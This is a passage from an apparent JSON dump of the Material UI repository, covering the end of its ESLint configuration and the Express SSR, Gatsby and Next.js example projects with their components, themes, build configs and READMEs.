     'mui/no-restricted-resolved-imports': [\n          'error',\n          [\n            {\n              pattern: `**/packages/${packageName}/src/index.*`,\n              message:\n                \"Don't import from the package index. Import the specific module directly instead.\",\n            },\n          ],\n        ],\n      },\n    }),\n  ),\n  {\n    files: [\n      `packages-internal/**/*${EXTENSION_TS}`,\n      `packages/api-docs-builder/**/*${EXTENSION_TS}`,\n      `packages/api-docs-builder-core/**/*${EXTENSION_TS}`,\n    ],\n    rules: {\n      // Only applies to our public packages\n      'compat/compat': 'off',\n    },\n  },\n  {\n    files: [`packages/**/*${EXTENSION_TS}`],\n    rules: {\n      // Our packages write .js + .d.ts files manually.\n      'react/jsx-filename-extension': ['error', { extensions: ['.js', '.tsx'] }],\n    },\n  },\n  // Test start\n  {\n    files: [`**/*${EXTENSION_TEST_FILE}`],\n    extends: createTestConfig({\n      useMocha: false,\n      useVitest: true,\n    }),\n    languageOptions: {\n      globals: {\n        ...vitestPlugin.environments.env.globals,\n      },\n    },\n    rules: {\n      'mui/material-ui-no-empty-box': 'off',\n      // Disabled temporarily. Enable one by one.\n      'testing-library/no-container': 'off',\n      // TODO: investigate and fix\n      'vitest/expect-expect': 'off',\n    },\n  },\n  // Test end\n  // Docs start\n  {\n    files: [`docs/**/*${EXTENSION_TS}`],\n    extends: createDocsConfig(),\n    rules: {\n      '@next/next/no-img-element': 'off',\n      'no-restricted-imports': [\n        'error',\n        {\n          paths: NO_RESTRICTED_IMPORTS_PATHS_TOP_LEVEL_PACKAGES,\n          patterns: NO_RESTRICTED_IMPORTS_PATTERNS_DEEPLY_NESTED,\n        },\n      ],\n    },\n  },\n  // Moved from docs/data/material/components/.eslintrc.js\n  {\n    files: [`docs/data/material/components/**/*${EXTENSION_TS}`],\n    rules: {\n      // useful for interactions feedback\n      'no-console': ['off', { allow: ['info'] }],\n      // not very friendly to prop forwarding\n      'react/jsx-handler-names': 'off',\n    },\n  },\n  // demos\n  {\n    files: [`docs/src/pages/**/*${EXTENSION_TS}`, `docs/data/**/*${EXTENSION_TS}`],\n    rules: {\n      // This most often reports data that is defined after the component definition.\n      // This is safe to do and helps readability of the demo code since the data is mostly irrelevant.\n      '@typescript-eslint/no-use-before-define': 'off',\n      'react/prop-types': 'off',\n      'no-alert': 'off',\n      'no-console': 'off',\n    },\n  },\n  // Next.js entry points pages\n  {\n    files: [`docs/pages/**/*${EXTENSION_TS}`, `packages/*/src/**/*.tsx`],\n    ignores: ['**/*.spec.tsx'],\n    rules: {\n      'react/prop-types': 'off',\n    },\n  },\n  {\n    files: [`docs/data/**/*${EXTENSION_TS}`],\n    ignores: [\n      // filenames/match-exported sees filename as 'file-name.d'\n      // Plugin looks unmaintain, find alternative? (e.g. eslint-plugin-project-structure)\n      '**/*.d.ts',\n      'docs/data/**/{css,system,tailwind}/*',\n    ],\n    plugins: {\n      'consistent-default-export-name': fixupPluginRules(eslintPluginConsistentName),\n    },\n    rules: {\n      'consistent-default-export-name/default-export-match-filename': ['error'],\n    },\n  },\n  // Docs end\n  {\n    files: [`**/*${EXTENSION_DTS}`],\n    rules: {\n      'import/export': 'off', // Not sure why it doesn't work\n    },\n  },\n  {\n    files: [`packages/*/src/**/*${EXTENSION_TS}`, `packages/*/src/**/*${EXTENSION_DTS}`],\n    ignores: [\n      '**/*.spec.*',\n      '**/*.test.*',\n      // used internally, not used on app router yet\n      '**/mui-docs/**/*',\n    ],\n    rules: {\n      'mui/add-undef-to-optional': 'error',\n    },\n  },\n  {\n    files: [`packages/*/src/**/*${EXTENSION_TS}`],\n    ignores: [\n      '**/*.spec.*',\n      '**/*.test.*',\n      // used internally, not used on app router yet\n      '**/mui-docs/**/*',\n    ],\n    rules: {\n      'mui/disallow-react-api-in-server-components': 'error',\n    },\n  },\n  {\n    files: [`packages/*/src/**/*${EXTENSION_TS}`],\n    ignores: ['**/*.spec.*'],\n    rules: {\n      'no-restricted-imports': [\n        'error',\n        {\n          paths: [\n            ...NO_RESTRICTED_IMPORTS_PATHS_TOP_LEVEL_PACKAGES,\n            {\n              name: '@mui/utils',\n              message: OneLevelImportMessage,\n            },\n            {\n              name: '@mui/material/styles',\n              importNames: ['createStyles'],\n              message: forbidCreateStylesMessage,\n            },\n          ],\n        },\n      ],\n    },\n  },\n  baseSpecRules,\n  {\n    files: ['packages-internal/scripts/typescript-to-proptypes/src/**/*.ts'],\n    rules: {\n      // Working with flags is common in TypeScript compiler\n      'no-bitwise': 'off',\n    },\n  },\n  {\n    files: [`packages/*/src/**/*${EXTENSION_TS}`],\n    ignores: ['**/*.spec.*', '**/*.test.*', '**/mui-lab/**'],\n    rules: {\n      'mui/require-dev-wrapper': [\n        'error',\n        {\n          functionNames: ['warnOnce', 'warn', 'checkSlot', 'isLayoutSupported'],\n        },\n      ],\n    },\n  },\n  {\n    files: [`packages/*/src/**/*${EXTENSION_TS}`],\n    ignores: ['**/*.d.ts', '**/*.spec.*'],\n    rules: {\n      'mui/material-ui-name-matches-component-name': 'error',\n    },\n  },\n  {\n    files: ['test/bundling/scripts/**/*.js'],\n    rules: {\n      // ES modules need extensions\n      'import/extensions': ['error', 'ignorePackages'],\n    },\n  },\n  // Migrated config from packages/mui-icons-material/.eslintrc.js\n  {\n    files: [`packages/mui-icons-material/custom/**/*${EXTENSION_TS}`],\n    rules: {\n      'import/no-unresolved': 'off',\n      'import/extensions': 'off',\n    },\n  },\n  // Migrated config from packages/api-docs-builder/.eslintrc.js\n  {\n    files: [\n      `packages/api-docs-builder/**/*${EXTENSION_TS}`,\n      // Allow named exports for locales and mui-docs: https://github.com/mui/material-ui/pull/46933\n      `packages/mui-material/src/locale/*${EXTENSION_TS}`,\n      `packages/mui-docs/src/**/*${EXTENSION_TS}`,\n    ],\n    rules: {\n      'import/prefer-default-export': 'off',\n    },\n  },\n  // Migrated config from packages/api-docs-builder-core/.eslintrc.js\n  {\n    files: [`packages/api-docs-builder-core/**/*${EXTENSION_TS}`],\n    rules: {\n      'import/no-default-export': 'error',\n      'import/prefer-default-export': 'off',\n    },\n  },\n  {\n    files: [`examples/**/*${EXTENSION_TS}`],\n    rules: {\n      'import/no-relative-packages': 'off',\n      'react/react-in-jsx-scope': 'off',\n      'react/prop-types': 'off',\n      'import/prefer-default-export': 'off',\n    },\n  },\n  {\n    files: [`examples/**/*${EXTENSION_TS}`],\n    rules: {\n      'import/extensions': 'off',\n      'import/no-unresolved': 'off',\n      'no-console': 'off',\n    },\n  },\n  {\n    files: ['docs/src/pages/premium-themes/onepirate/modules/form/RFTextField.js'],\n    rules: {\n      // Otherwise, running docs:typescript:formatted rearranges the imports and also removes the eslint-disable comment\n      // if added.\n      'import/order': 'off',\n    },\n  },\n  {\n    files: [`test/**/*${EXTENSION_TS}`],\n    rules: {\n      'guard-for-in': 'off',\n      'testing-library/prefer-screen-queries': 'off', // Enable usage of playwright queries\n      'testing-library/no-await-sync-queries': 'off',\n      'testing-library/render-result-naming-convention': 'off', // inconsequential in regression tests\n    },\n  },\n);\n"
  },
  {
    "path": "examples/.gitignore",
    "content": "package-lock.json\npnpm-lock.yaml\nyarn.lock\n"
  },
  {
    "path": "examples/material-ui-express-ssr/.babelrc",
    "content": "{\n  \"presets\": [\"@babel/preset-env\", \"@babel/preset-react\"]\n}\n"
  },
  {
    "path": "examples/material-ui-express-ssr/.gitignore",
    "content": "# See https://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n\n# production\n/build\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n"
  },
  {
    "path": "examples/material-ui-express-ssr/App.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\nimport ProTip from './ProTip';\n\nfunction Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typography>\n  );\n}\n\nexport default function App() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI Express.js server-rendered example\n        </Typography>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-express-ssr/ProTip.js",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-express-ssr/README.md",
    "content": "# Material UI - Server-side-rendered example\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-express-ssr\ncd material-ui-express-ssr\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run start\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-express-ssr)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-express-ssr)\n\n## The idea behind the example\n\n<!-- #host-reference -->\n\nThis is the reference implementation of the [Server Rendering tutorial](https://next.mui.com/material-ui/guides/server-rendering/).\n\nThe example project includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\nIf you prefer, you can [use styled-components instead](https://next.mui.com/material-ui/integrations/interoperability/#styled-components).\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-express-ssr/client.js",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider } from '@mui/material/styles';\nimport { CacheProvider } from '@emotion/react';\nimport App from './App';\nimport theme from './theme';\nimport createEmotionCache from './createEmotionCache';\n\nconst cache = createEmotionCache();\n\nfunction Main() {\n  return (\n    <CacheProvider value={cache}>\n      <ThemeProvider theme={theme}>\n        {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n        <CssBaseline />\n        <App />\n      </ThemeProvider>\n    </CacheProvider>\n  );\n}\n\nReactDOM.hydrateRoot(document.querySelector('#root'), <Main />);\n"
  },
  {
    "path": "examples/material-ui-express-ssr/createEmotionCache.js",
    "content": "import createCache from '@emotion/cache';\n\nconst isBrowser = typeof document !== 'undefined';\n\n// On the client side, Create a meta tag at the top of the <head> and set it as insertionPoint.\n// This assures that Material UI styles are loaded first.\n// It allows developers to easily override Material UI styles with other styling solutions, like CSS modules.\nexport default function createEmotionCache() {\n  let insertionPoint;\n\n  if (isBrowser) {\n    const emotionInsertionPoint = document.querySelector('meta[name=\"emotion-insertion-point\"]');\n    insertionPoint = emotionInsertionPoint ?? undefined;\n  }\n\n  return createCache({ key: 'mui-style', insertionPoint });\n}\n"
  },
  {
    "path": "examples/material-ui-express-ssr/package.json",
    "content": "{\n  \"name\": \"material-ui-express-ssr\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"browserslist\": [\n    \">0.25%\",\n    \"not dead\"\n  ],\n  \"dependencies\": {\n    \"@babel/core\": \"latest\",\n    \"@babel/node\": \"latest\",\n    \"@babel/preset-env\": \"latest\",\n    \"@babel/preset-react\": \"latest\",\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@emotion/server\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"babel-loader\": \"latest\",\n    \"cross-env\": \"latest\",\n    \"express\": \"latest\",\n    \"nodemon\": \"latest\",\n    \"npm-run-all\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\",\n    \"webpack\": \"latest\",\n    \"webpack-cli\": \"latest\"\n  },\n  \"scripts\": {\n    \"start\": \"npm-run-all -p build serve\",\n    \"build\": \"webpack -w\",\n    \"serve\": \"nodemon --ignore ./build --exec babel-node -- server.js\",\n    \"production\": \"cross-env NODE_ENV=production npm start\",\n    \"post-update\": \"echo \\\"codesandbox preview only, need an update\\\" && pnpm update --latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-express-ssr/server.js",
    "content": "import express from 'express';\nimport * as React from 'react';\nimport * as ReactDOMServer from 'react-dom/server';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider } from '@mui/material/styles';\nimport { CacheProvider } from '@emotion/react';\nimport createEmotionServer from '@emotion/server/create-instance';\nimport createEmotionCache from './createEmotionCache';\nimport App from './App';\nimport theme from './theme';\n\nfunction renderFullPage(html, css) {\n  return `\n    <!DOCTYPE html>\n    <html lang=\"en\">\n      <head>\n        <meta charset=\"utf-8\" />\n        <title>My page</title>\n        <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n        <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n        <link\n          rel=\"stylesheet\"\n          href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n        />\n        <meta name=\"emotion-insertion-point\" content=\"\" />\n        ${css}\n      </head>\n      <body>\n        <script async src=\"build/bundle.js\"></script>\n        <div id=\"root\">${html}</div>\n      </body>\n    </html>\n  `;\n}\n\nfunction handleRender(req, res) {\n  const cache = createEmotionCache();\n  const { extractCriticalToChunks, constructStyleTagsFromChunks } = createEmotionServer(cache);\n\n  // Render the component to a string.\n  const html = ReactDOMServer.renderToString(\n    <CacheProvider value={cache}>\n      <ThemeProvider theme={theme}>\n        {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n        <CssBaseline />\n        <App />\n      </ThemeProvider>\n    </CacheProvider>,\n  );\n\n  // Grab the CSS from emotion\n  const emotionChunks = extractCriticalToChunks(html);\n  const emotionCss = constructStyleTagsFromChunks(emotionChunks);\n\n  // Send the rendered page back to the client.\n  res.send(renderFullPage(html, emotionCss));\n}\n\nconst app = express();\n\napp.use('/build', express.static('build'));\n\n// This is fired every time the server-side receives a request.\napp.use(handleRender);\n\nconst port = 3000;\napp.listen(port, () => {\n  console.log(`Listening on ${port}`);\n});\n"
  },
  {
    "path": "examples/material-ui-express-ssr/theme.js",
    "content": "import { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\n// Create a theme instance.\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-express-ssr/webpack.config.js",
    "content": "/* eslint-disable mui/consistent-production-guard */\nconst path = require('path');\n\nmodule.exports = {\n  entry: './client.js',\n  mode: process.env.NODE_ENV || 'development',\n  output: {\n    path: path.resolve(__dirname, 'build'),\n    filename: 'bundle.js',\n    publicPath: '/',\n  },\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        loader: 'babel-loader',\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "examples/material-ui-gatsby/.gitignore",
    "content": "# See https://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# Gatsby.js\n/public\n/.cache\n"
  },
  {
    "path": "examples/material-ui-gatsby/README.md",
    "content": "# Material UI - Gatsby example\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-gatsby\ncd material-ui-gatsby\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run develop\n```\n\n## The idea behind the example\n\n<!-- #host-reference -->\n\nThe project uses [Gatsby](https://github.com/gatsbyjs/gatsby), which is a static site generator for React.\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\nIf you prefer, you can [use styled-components instead](https://next.mui.com/material-ui/integrations/interoperability/#styled-components).\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-gatsby/package.json",
    "content": "{\n  \"name\": \"material-ui-gatsby\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"browserslist\": [\n    \">0.25%\",\n    \"not dead\"\n  ],\n  \"dependencies\": {\n    \"@emotion/react\": \"latest\",\n    \"@emotion/server\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"gatsby\": \"latest\",\n    \"gatsby-plugin-react-helmet\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\",\n    \"react-helmet\": \"latest\"\n  },\n  \"scripts\": {\n    \"develop\": \"gatsby develop\",\n    \"build\": \"gatsby build\",\n    \"serve\": \"gatsby serve\",\n    \"post-update\": \"echo \\\"codesandbox preview only, need an update\\\" && pnpm update --latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-gatsby/src/components/Copyright.js",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-gatsby/src/components/Link.js",
    "content": "import * as React from 'react';\nimport MuiLink from '@mui/material/Link';\nimport { Link as GatsbyLink } from 'gatsby';\n\nconst Link = React.forwardRef(function Link(props, ref) {\n  return <MuiLink component={GatsbyLink} ref={ref} {...props} />;\n});\n\nexport default Link;\n"
  },
  {
    "path": "examples/material-ui-gatsby/src/components/ProTip.js",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-gatsby/src/pages/about.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport ProTip from '../components/ProTip';\nimport Link from '../components/Link';\nimport Copyright from '../components/Copyright';\n\nexport default function About() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI Gatsby example\n        </Typography>\n        <Link to=\"/\">Go to the main page</Link>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-gatsby/src/pages/index.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport ProTip from '../components/ProTip';\nimport Link from '../components/Link';\nimport Copyright from '../components/Copyright';\n\nexport default function Index() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI Gatsby example\n        </Typography>\n        <Link to=\"/about\" color=\"secondary\">\n          Go to the about page\n        </Link>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-gatsby/src/theme.js",
    "content": "import { red } from '@mui/material/colors';\nimport { createTheme } from '@mui/material/styles';\n\n// A custom theme for this app\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-nextjs/.gitignore",
    "content": "# See https://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# Next.js\n/.next\n"
  },
  {
    "path": "examples/material-ui-nextjs/README.md",
    "content": "# Material UI - Next.js App Router example\n\nThis is a [Next.js](https://nextjs.org/) project bootstrapped using [`create-next-app`](https://github.com/vercel/next.js/tree/HEAD/packages/create-next-app) with Material UI installed.\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-nextjs\ncd material-ui-nextjs\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nOpen [http://localhost:3000](http://localhost:3000) with your browser to see the result.\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-nextjs)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-nextjs)\n\n## Learn more\n\nTo learn more about this example:\n\n<!-- #host-reference -->\n\n- [Next.js documentation](https://nextjs.org/docs) - learn about Next.js features and API.\n- [Customizing Material UI](https://next.mui.com/material-ui/customization/how-to-customize/) - approaches to customizing Material UI.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-nextjs/jsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"paths\": {\n      \"@/*\": [\"./src/*\"]\n    }\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs/next.config.mjs",
    "content": "/** @type {import('next').NextConfig} */\nconst nextConfig = {};\n\nexport default nextConfig;\n"
  },
  {
    "path": "examples/material-ui-nextjs/package.json",
    "content": "{\n  \"name\": \"material-ui-nextjs\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"next dev\",\n    \"build\": \"next build\",\n    \"start\": \"next start\"\n  },\n  \"dependencies\": {\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/icons-material\": \"next\",\n    \"@mui/material\": \"next\",\n    \"@mui/material-nextjs\": \"next\",\n    \"eslint\": \"latest\",\n    \"eslint-config-next\": \"latest\",\n    \"next\": \"^16.0.7\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs/src/app/about/page.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport NextLink from '@/components/Link';\nimport ProTip from '@/components/ProTip';\nimport Copyright from '@/components/Copyright';\n\nexport default function About() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in JavaScript\n        </Typography>\n        <Box sx={{ maxWidth: 'sm' }}>\n          <Button variant=\"contained\" component={NextLink} href=\"/\">\n            Go to the home page\n          </Button>\n        </Box>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs/src/app/layout.js",
    "content": "import * as React from 'react';\nimport { AppRouterCacheProvider } from '@mui/material-nextjs/v16-appRouter';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport theme from '@/theme';\n\nexport default function RootLayout(props) {\n  return (\n    <html lang=\"en\">\n      <body>\n        <AppRouterCacheProvider options={{ enableCssLayer: true }}>\n          <ThemeProvider theme={theme}>\n            {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n            <CssBaseline />\n            {props.children}\n          </ThemeProvider>\n        </AppRouterCacheProvider>\n      </body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs/src/app/page.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport MaterialUILink from '@mui/material/Link';\nimport NextLink from '@/components/Link';\nimport ProTip from '@/components/ProTip';\nimport Copyright from '@/components/Copyright';\n\nexport default function Home() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in JavaScript\n        </Typography>\n        <MaterialUILink href=\"/about\" color=\"secondary\" component={NextLink}>\n          Go to the about page\n        </MaterialUILink>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs/src/components/Copyright.js",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    (<Typography variant=\"body2\" align=\"center\" sx={{\n      color: \"text.secondary\"\n    }}>\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}.</Typography>)\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs/src/components/Link.js",
    "content": "'use client';\nimport Link from 'next/link';\n\nexport default Link;\n"
  },
  {
    "path": "examples/material-ui-nextjs/src/components/ProTip.js",
